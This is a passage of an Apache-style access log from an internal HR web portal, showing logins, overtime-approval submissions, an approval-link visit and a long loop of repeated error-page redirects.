Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:19 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.52 - - [04/Dec/2025:15:14:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 192.168.40.52 - - [04/Dec/2025:15:14:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 83871 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 83871 192.168.40.52 - - [04/Dec/2025:15:14:31 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:31 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:15:14:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132734%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132734&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132734%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132734&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:15:14:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:15:14:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:15:14:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:15:14:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:15:14:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:15:14:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:15:14:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:15:14:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:15:14:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:15:14:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:15:14:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:15:14:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:15:14:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:15:14:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:15:14:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:15:14:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:15:14:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:15:14:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:15:14:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.125 - - [04/Dec/2025:15:16:29 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:15:16:29 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.125 - - [04/Dec/2025:15:16:41 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:15:16:41 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.125 - - [04/Dec/2025:15:16:46 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:15:16:46 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.125 - - [04/Dec/2025:15:16:48 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - 192.168.11.125 - - [04/Dec/2025:15:16:48 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:15:16:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:15:16:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 100.64.0.1 - - [04/Dec/2025:15:16:54 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA11F5A1923085EB1185795E9C9BEE1FDDCED5307CAB5C9FE19FC30D9987CBE8F4AE624F693B680D7DE85A2806AF1193EC64D65798A4947CEE2 HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [04/Dec/2025:15:16:54 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA11F5A1923085EB1185795E9C9BEE1FDDCED5307CAB5C9FE19FC30D9987CBE8F4AE624F693B680D7DE85A2806AF1193EC64D65798A4947CEE2 HTTP/1.1" 200 - 100.64.0.1 - - [04/Dec/2025:15:16:56 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA11F5A1923085EB1185795E9C9BEE1FDDCED5307CAB5C9FE19FC30D9987CBE8F4AE624F693B680D7DE85A2806AF1193EC64D65798A4947CEE2 HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:15:16:56 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA11F5A1923085EB1185795E9C9BEE1FDDCED5307CAB5C9FE19FC30D9987CBE8F4AE624F693B680D7DE85A2806AF1193EC64D65798A4947CEE2 HTTP/1.1" 200 4166 100.64.0.1 - - [04/Dec/2025:15:16:57 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA11F5A1923085EB1185795E9C9BEE1FDDCED5307CAB5C9FE19FC30D9987CBE8F4AE624F693B680D7DE85A2806AF1193EC64D65798A4947CEE2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:15:16:57 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 192.168.11.125 - - [04/Dec/2025:15:17:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows 